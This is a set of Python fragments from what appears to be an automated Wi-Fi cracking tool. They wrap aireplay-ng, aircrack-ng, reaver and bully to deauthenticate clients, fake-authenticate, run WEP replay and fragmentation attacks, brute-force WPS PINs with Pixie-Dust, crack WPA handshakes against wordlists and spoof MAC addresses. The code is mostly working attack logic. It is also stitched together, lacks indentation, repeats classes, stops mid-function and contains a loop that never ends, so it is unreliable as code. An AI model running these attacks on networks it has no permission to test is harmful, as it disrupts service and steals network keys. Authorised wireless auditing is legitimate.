def fakeauth(target, timeout=5, num_attempts=3):
'''
Tries a one-time fake-authenticate with a target AP.
Params:
target (py.Target): Instance of py.Target
timeout (int): Time to wait for fakeuth to succeed.
num_attempts (int): Number of fakeauth attempts to make.
Returns:
(bool): True if fakeauth succeeds, otherwise False
'''
cmd = [
'aireplay-ng',
'-1',
'0', # Fake auth, no delay
'-a',
target.bssid,
'-T',
str(num_attempts)
]
if target.essid_known:
cmd.extend(['-e', target.essid])
cmd.append(Configuration.interface)
fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp())
timer = Timer(timeout)
while fakeauth_proc.poll() is None and not timer.ended():
time.sleep(0.1)
if fakeauth_proc.poll() is None or timer.ended():
fakeauth_proc.interrupt()
return False
output = fakeauth_proc.stdout()
return 'association successful' in output.lower()
def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...")
if Process.exists('service'):
cmd = 'service network-manager start'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
return
if Process.exists('systemctl'):
cmd = 'systemctl start NetworkManager'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
return
else:
Color.pl(
" {R}can't restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}"
)
class Aircrack(object):
def __init__(self, ivs_file=None):
self.cracked_file = Configuration.temp() + 'wepkey.txt'
# Delete previous cracked files
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
command = ['aircrack-ng', '-a', '1', '-l', self.cracked_file, ivs_file]
self.pid = Process(command, devnull=True)
def is_running(self):
return self.pid.poll() == None
def is_cracked(self):
return os.path.exists(self.cracked_file)
def stop(self):
''' Stops aircrack process '''
if self.pid.poll() == None:
self.pid.interrupt()
def get_key_hex_ascii(self):
if not self.is_cracked():
raise Exception('Cracked file not found')
f = open(self.cracked_file, 'r')
hex_raw = f.read()
f.close()
hex_key = ''
ascii_key = ''
while len(hex_raw) > 0:
# HEX
if hex_key != '':
hex_key += ':'
hex_key += hex_raw[0:2]
# ASCII
# Convert hex to decimal
code = int(hex_raw[0:2], 16)
if code < 32 or code > 127:
# Hex key is non-printable in ascii
ascii_key = None
continue
elif ascii_key == None:
# We can't generate an Ascii key
continue
# Convert decimal to char
ascii_key += chr(code)
# Trim first two characters
hex_raw = hex_raw[2:]
continue
return (hex_key, ascii_key)
def check_for_wps_and_update_targets(capfile, targets):
'''
Given a cap file and list of targets, use Wash to
find which BSSIDs in the cap file use WPS.
Then update the 'wps' flag for those BSSIDs in the targets.
Args:
capfile - .cap file from airodump containing packets
targets - list of Targets from scan, to be updated
'''
# Wash/Walsh is required to detect WPS
wash_name = 'wash'
if not Process.exists(wash_name):
wash_name = 'walsh'
if not Process.exists(wash_name):
# Wash isn't found, drop out
return
command = [
'wash',
'-f', capfile # Path to cap file
]
p = Process(command)
p.wait()
if p.poll() != 0:
return
bssids = [bssid.upper() for bssid in Wash.BSSID_REGEX.findall(p.stdout())]
for t in targets:
t.wps = t.bssid.upper() in bssids
def deauth(target_bssid,
essid=None,
client_mac=None,
num_deauths=None,
timeout=2):
num_deauths = num_deauths or Configuration.num_deauths
deauth_cmd = [
"aireplay-ng",
"-0", # Deauthentication
str(num_deauths),
"--ignore-negative-one",
"-a",
target_bssid, # Target AP
"-D" # Skip AP detection
]
if client_mac is not None:
# Station-specific deauth
deauth_cmd.extend(["-c", client_mac])
if essid:
deauth_cmd.extend(["-e", essid])
deauth_cmd.append(Configuration.interface)
proc = Process(deauth_cmd)
while proc.poll() is None:
if proc.running_time() >= timeout:
proc.interrupt()
time.sleep(0.2)
def down_macch_up(cls, macch_option):
cls.init()
from Process import Process
from Configuration import Configuration
iface = Configuration.interface
cmd = ["ifconfig", iface, "down"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." %
iface)
ifdown = Process(cmd)
ifdown.wait()
if ifdown.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
return False
cmd = ["macchanger", macch_option, iface]
Color.clear_entire_line()
Color.p(
"\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..."
% iface)
macch = Process(cmd)
macch.wait()
if macch.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
return False
cmd = ["ifconfig", iface, "up"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." %
iface)
ifup = Process(cmd)
ifup.wait()
if ifup.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
return False
return True
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'--interface',
Configuration.interface,
'--bssid',
self.target.bssid,
'--channel',
self.target.channel,
'--pixie-dust',
'1', # pixie-dust attack
#'--delay', '0',
#'--no-nacks',
'--session',
'/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command,
stdout=stdout_write,
stderr=Process.devnull())
pin = None
step = 'initializing'
time_since_last_step = 0
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='pixie') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "Pixie Dust",
"Waiting for target to appear...")
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "Pixie-Dust",
"{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.clear_line()
Color.pattack(
"WPS", airodump_target, "Pixie-Dust",
"{G}successfully cracked WPS PIN and PSK{W}\n")
self.crack_result = CrackResultWPS(
bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust",
"{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl(
'{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' %
Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' %
fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
timeout_count)
break
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
time.sleep(1)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
class Aircrack(object):
def __init__(self, ivs_file=None):
self.cracked_file = Configuration.temp() + 'wepkey.txt'
# Delete previous cracked files
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
command = [
'aircrack-ng',
'-a', '1',
'-l', self.cracked_file,
ivs_file
]
self.pid = Process(command, devnull=True)
def is_running(self):
return self.pid.poll() == None
def is_cracked(self):
return os.path.exists(self.cracked_file)
def stop(self):
''' Stops aircrack process '''
if self.pid.poll() == None:
self.pid.interrupt()
def get_key_hex_ascii(self):
if not self.is_cracked():
raise Exception('Cracked file not found')
f = open(self.cracked_file, 'r')
hex_raw = f.read()
f.close()
hex_key = ''
ascii_key = ''
while len(hex_raw) > 0:
# HEX
if hex_key != '':
hex_key += ':'
hex_key += hex_raw[0:2]
# ASCII
# Convert hex to decimal
code = int(hex_raw[0:2], 16)
if code < 32 or code > 127:
# Hex key is non-printable in ascii
ascii_key = None
continue
elif ascii_key == None:
# We can't generate an Ascii key
continue
# Convert decimal to char
ascii_key += chr(code)
# Trim first two characters
hex_raw = hex_raw[2:]
continue
return (hex_key, ascii_key)
class Bully(Attack):
def __init__(self, target):
super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
self.pins_attempted = 0
self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None
self.target = target
self.cmd = [
"stdbuf",
"-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
"bully",
"--bssid",
target.bssid,
"--channel",
target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP
"--force",
"-v",
"4",
"--pixiewps",
Configuration.interface
]
self.bully_proc = None
def attack_type(self):
return "Pixie-Dust"
def run(self):
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True,
output_file_prefix='wps_pin') as airodump:
# Wait for target
Color.clear_entire_line()
Color.pattack("WPS", self.target, self.attack_type(),
"Waiting for target to appear...")
self.target = self.wait_for_target(airodump)
# Start bully
self.bully_proc = Process(self.cmd,
stderr=Process.devnull(),
bufsize=0,
cwd=Configuration.temp())
t = Thread(target=self.parse_line_thread)
t.daemon = True
t.start()
try:
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
Color.clear_entire_line()
Color.pattack("WPS", self.target, self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop()
break
Color.clear_entire_line()
Color.pattack("WPS", self.target, self.attack_type(),
self.get_status())
time.sleep(0.5)
except KeyboardInterrupt as e:
self.stop()
raise e
except Exception as e:
self.stop()
raise e
if self.crack_result is None:
Color.clear_entire_line()
Color.pattack("WPS", self.target, self.attack_type(),
"{R}Failed{W}\n")
def running_time(self):
return int(time.time() - self.start_time)
def get_status(self):
result = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted
result += " {O}failures:%d{W}" % (self.consecutive_timeouts +
self.consecutive_noassoc)
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
result += ")"
return result
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
def parse_line(self, line):
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'",
line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'",
line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.search(
r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if pixie_re:
self.state = "{R}Failed{W}"
# [+] Running pixiewps with the information, wait ...
pixie_re = re.search(r".*Running pixiewps with the information", line)
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
# [*] Pin is '80246213', key is 'password'
# [*] Pin is '11867722', key is '9a6f7997'
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
if pin_key_re:
self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2)
# PIN : '80246213'
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
# KEY : 'password'
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re:
self.cracked_key = key_re.group(1)
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line()
Color.pattack("WPS", self.target, "Pixie-Dust",
"{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(self.target.bssid,
self.target.essid,
self.cracked_pin,
self.cracked_key)
Color.pl("")
self.crack_result.dump()
return True
else:
return False
def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def __del__(self):
self.stop()
def crack_handshake(self, handshake, wordlist):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist ({R}--dict{O}) is not set")
return None
elif not os.path.exists(wordlist):
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist {R}%s{O} was not found" % wordlist)
return None
Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
"aircrack-ng",
"-a", "2",
"-w", wordlist,
"--bssid", handshake.bssid,
"-l", key_file,
handshake.capfile
]
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = "unknown"
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line)
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
status += " ETA: {C}%s{W}" % eta_str
status += " @ {C}%0.1fkps{W}" % num_kps
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
status += " (current key: {C}%s{W})" % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl("")
# Check crack result
if os.path.exists(key_file):
with open(key_file, "r") as fid:
key = fid.read().strip()
os.remove(key_file)
Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
return key
else:
Color.pl("{!} {R}Failed to crack handshake:" +
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
return None
class Aireplay(object):
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
'''
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
'''
cmd = Aireplay.get_aireplay_command(target,
attack_type,
client_mac=client_mac,
replay_file=replay_file)
# TODO: set 'stdout' when creating process to store output to file.
# AttackWEP will read file to get status of attack.
# E.g., chopchop will regex "(\d+)% done" to get percent complete.
'''
from subprocess import PIPE
sout = PIPE
if '--chopchop' in cmd:
sout = open(Configuration.temp('chopchop'), 'w')
'''
self.pid = Process(cmd,
devnull=False,
cwd=Configuration.temp())
def is_running(self):
return self.pid.poll() == None
def stop(self):
''' Stops aireplay process '''
if self.pid and self.pid.poll() != None:
self.pid.interrupt()
def get_output(self):
''' Returns stdout from aireplay process '''
return self.pid.stdout()
@staticmethod
def get_aireplay_command(target, attack_type,
client_mac=None, replay_file=None):
'''
Generates aireplay command based on target and attack type
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
replay_file - .Cap file to replay via --arpreplay
'''
# Interface is required at this point
Configuration.initialize()
if Configuration.interface == None:
raise Exception("Wireless interface must be defined (-i)")
cmd = ['aireplay-ng']
cmd.append('--ignore-negative-one')
if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station
# type(attack_type) might be str, int, or WEPAttackType.
# Find the appropriate attack enum.
attack_type = WEPAttackType(attack_type).value
if attack_type == WEPAttackType.fakeauth:
cmd.extend(['-1', '0']) # Fake auth, no delay
cmd.extend(['-a', target.bssid])
cmd.extend(['-T', '3']) # Make 3 attempts
if target.essid_known:
cmd.extend(['-e', target.essid])
# Do not specify client MAC address,
# we're trying to fake-authenticate using *our* MAC
elif attack_type == WEPAttackType.replay:
cmd.append('--arpreplay')
cmd.extend(['-b', target.bssid])
cmd.extend(['-x', str(Configuration.wep_pps)])
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.chopchop:
cmd.append('--chopchop')
cmd.extend(['-b', target.bssid])
cmd.extend(['-x', str(Configuration.wep_pps)])
cmd.extend(['-m', '60']) # Minimum packet length (bytes)
cmd.extend(['-n', '82']) # Maximum packet length
cmd.extend(['-F']) # Automatically choose first packet
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.fragment:
cmd.append('--fragment')
cmd.extend(['-b', target.bssid])
cmd.extend(['-x', str(Configuration.wep_pps)])
cmd.extend(['-m', '100']) # Minimum packet length (bytes)
cmd.extend(['-F']) # Automatically choose first packet
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.caffelatte:
cmd.append('--caffe-latte')
cmd.extend(['-b', target.bssid])
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.p0841:
cmd.append('--interactive')
cmd.extend(['-b', target.bssid])
cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
cmd.extend(['-t', '1'])
cmd.extend(['-x', str(Configuration.wep_pps)])
cmd.extend(['-F']) # Automatically choose first packet
cmd.extend(['-p', '0841'])
if client_mac:
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.hirte:
if client_mac == None:
# Unable to carry out hirte attack
raise Exception("Client is required for hirte attack")
cmd.append('--cfrag')
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac == None or replay_file == None:
raise Exception(
"Client_mac and Replay_File are required for arp replay")
cmd.append('--arpreplay')
cmd.extend(['-b', target.bssid])
cmd.extend(['-r', replay_file])
cmd.extend(['-F']) # Automatically choose first packet
cmd.extend(['-x', str(Configuration.wep_pps)])
else:
raise Exception("Unexpected attack type: %s" % attack_type)
cmd.append(Configuration.interface)
return cmd
@staticmethod
def get_xor():
''' Finds the last .xor file in the directory '''
xor = None
for fil in os.listdir(Configuration.temp()):
if fil.startswith('replay_') and fil.endswith('.xor'):
xor = fil
return xor
@staticmethod
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a', bssid, # Target MAC
'-h', station_mac, # Client MAC
'-k', '192.168.1.2', # Dest IP
'-l', '192.168.1.100', # Source IP
'-y', xor_file, # Read PRNG from .xor file
'-w', forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
class Airodump(object):
''' Wrapper around airodump-ng program '''
def __init__(self, interface=None, channel=None, encryption=None,\
wps=False, target_bssid=None, output_file_prefix='airodump',\
ivs_only=False, skip_wps=False):
'''
Sets up airodump arguments, doesn't start process yet
'''
Configuration.initialize()
if interface is None:
interface = Configuration.interface
if interface is None:
raise Exception("Wireless interface must be defined (-i)")
self.interface = interface
self.targets = []
if channel is None:
channel = Configuration.target_channel
self.channel = channel
self.five_ghz = Configuration.five_ghz
self.encryption = encryption
self.wps = wps
self.target_bssid = target_bssid
self.output_file_prefix = output_file_prefix
self.ivs_only = ivs_only
self.skip_wps = skip_wps
# For tracking decloaked APs (previously were hidden)
self.decloaking = False
self.decloaked_targets = []
self.decloaked_times = {
} # Map of BSSID(str) -> epoch(int) of last deauth
def __enter__(self):
'''
Setting things up for this context.
Called at start of 'with Airodump(...) as x:'
Actually starts the airodump process.
'''
self.delete_airodump_temp_files()
self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
# Build the command
command = [
'airodump-ng',
self.interface,
'-a', # Only show associated clients
'-w',
self.csv_file_prefix, # Output file prefix
'--write-interval',
'1' # Write every second
]
if self.channel:
command.extend(['-c', str(self.channel)])
elif self.five_ghz:
command.extend(['--band', 'a'])
if self.encryption:
command.extend(['--enc', self.encryption])
if self.wps:
command.extend(['--wps'])
if self.target_bssid:
command.extend(['--bssid', self.target_bssid])
if self.ivs_only:
command.extend(['--output-format', 'ivs,csv'])
else:
command.extend(['--output-format', 'pcap,csv'])
# Start the process
self.pid = Process(command, devnull=True)
return self
def __exit__(self, type, value, traceback):
'''
Tearing things down since the context is being exited.
Called after 'with Airodump(...)' goes out of scope.
'''
# Kill the process
self.pid.interrupt()
# Delete temp files
self.delete_airodump_temp_files()
def find_files(self, endswith=None):
''' Finds all files in the temp directory that start with the output_file_prefix '''
result = []
for fil in os.listdir(Configuration.temp()):
if fil.startswith(self.output_file_prefix):
if not endswith or fil.endswith(endswith):
result.append(Configuration.temp() + fil)
return result
def delete_airodump_temp_files(self):
'''
Deletes airodump* files in the temp directory.
Also deletes replay_*.cap and *.xor files in pwd.
'''
# Remove all temp files
for fil in self.find_files():
os.remove(fil)
# Remove .cap and .xor files from pwd
for fil in os.listdir('.'):
if fil.startswith('replay_') and fil.endswith(
'.cap') or fil.endswith('.xor'):
os.remove(fil)
def get_targets(self, apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file
csv_filename = None
for fil in self.find_files(endswith='-01.csv'):
# Found the file
csv_filename = fil
break
if csv_filename is None or not os.path.exists(csv_filename):
# No file found
return self.targets
# Parse the .CSV file
targets = Airodump.get_targets_from_csv(csv_filename)
# Check targets for WPS
if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap'
Tshark.check_for_wps_and_update_targets(capfile, targets)
if apply_filter:
# Filter targets based on encryption & WPS capability
targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps)
# Sort by power
targets.sort(key=lambda x: x.power, reverse=True)
for old_target in self.targets:
for new_target in targets:
if old_target.bssid != new_target.bssid: continue
if new_target.essid_known and not old_target.essid_known:
# We decloaked a target!
self.decloaked_targets.append(new_target)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
self.targets = targets
self.deauth_hidden_targets()
return self.targets
@staticmethod
def get_targets_from_csv(csv_filename):
'''
Returns list of Target objects parsed from CSV file
'''
targets = []
import csv
with open(csv_filename, 'rb') as csvopen:
lines = (line.replace('\0', '') for line in csvopen)
csv_reader = csv.reader(lines, delimiter=',')
hit_clients = False
for row in csv_reader:
# Each "row" is a list of fields for a target/client
if len(row) == 0: continue
if row[0].strip() == 'BSSID':
# This is the "header" for the list of Targets
hit_clients = False
continue
elif row[0].strip() == 'Station MAC':
# This is the "header" for the list of Clients
hit_clients = True
continue
if hit_clients:
# The current row corresponds to a "Client" (computer)
try:
client = Client(row)
except (IndexError, ValueError) as e:
# Skip if we can't parse the client row
continue
if 'not associated' in client.bssid:
# Ignore unassociated clients
continue
# Add this client to the appropriate Target
for t in targets:
if t.bssid == client.bssid:
t.clients.append(client)
break
else:
# The current row corresponds to a "Target" (router)
try:
target = Target(row)
targets.append(target)
except Exception:
continue
return targets
@staticmethod
def filter_targets(targets, skip_wps=False):
''' Filters targets based on Configuration '''
result = []
# Filter based on Encryption
for target in targets:
if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
result.append(target)
elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
result.append(target)
elif 'WPS' in Configuration.encryption_filter and target.wps:
result.append(target)
elif skip_wps:
result.append(target)
# Filter based on BSSID/ESSID
bssid = Configuration.target_bssid
essid = Configuration.target_essid
i = 0
while i < len(result):
if bssid and result[i].bssid.lower() != bssid.lower():
result.pop(i)
elif essid and result[i].essid and result[i].essid.lower(
) != essid.lower():
result.pop(i)
else:
i += 1
return result
def deauth_hidden_targets(self):
'''
Sends deauths (to broadcast and to each client) for all
targets (APs) that have unknown ESSIDs (hidden router names).
'''
self.decloaking = False
# Do not deauth if requested
if Configuration.no_deauth: return
# Do not deauth if channel is not fixed.
if self.channel is None: return
# Reusable deauth command
deauth_cmd = [
'aireplay-ng',
'-0', # Deauthentication
str(Configuration.num_deauths), # Number of deauth packets to send
'--ignore-negative-one'
]
for target in self.targets:
if target.essid_known: continue
now = int(time.time())
secs_since_decloak = now - self.decloaked_times.get(
target.bssid, 0)
# Decloak every AP once every 30 seconds
if secs_since_decloak < 30: continue
self.decloaking = True
self.decloaked_times[target.bssid] = now
if Configuration.verbose > 1:
from Color import Color
verbout = " [?] Deauthing %s" % target.bssid
verbout += " (broadcast & %d clients)" % len(target.clients)
Color.pe("\n{C}" + verbout + "{W}")
# Deauth broadcast
iface = Configuration.interface
Process(deauth_cmd + ['-a', target.bssid, iface])
# Deauth clients
for client in target.clients:
Process(deauth_cmd +
['-a', target.bssid, '-c', client.bssid, iface])
class Aireplay(object):
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
'''
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
'''
cmd = Aireplay.get_aireplay_command(target,
attack_type,
client_mac=client_mac,
replay_file=replay_file)
# TODO: set 'stdout' when creating process to store output to file.
# AttackWEP will read file to get status of attack.
# E.g., chopchop will regex "(\d+)% done" to get percent complete.
'''
from subprocess import PIPE
sout = PIPE
if '--chopchop' in cmd:
sout = open(Configuration.temp('chopchop'), 'w')
'''
self.pid = Process(cmd,
devnull=False,
cwd=Configuration.temp())
def is_running(self):
return self.pid.poll() == None
def stop(self):
''' Stops aireplay process '''
if self.pid and self.pid.poll() != None:
self.pid.interrupt()
def get_output(self):
''' Returns stdout from aireplay process '''
return self.pid.stdout()
@staticmethod
def get_aireplay_command(target, attack_type,
client_mac=None, replay_file=None):
'''
Generates aireplay command based on target and attack type
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
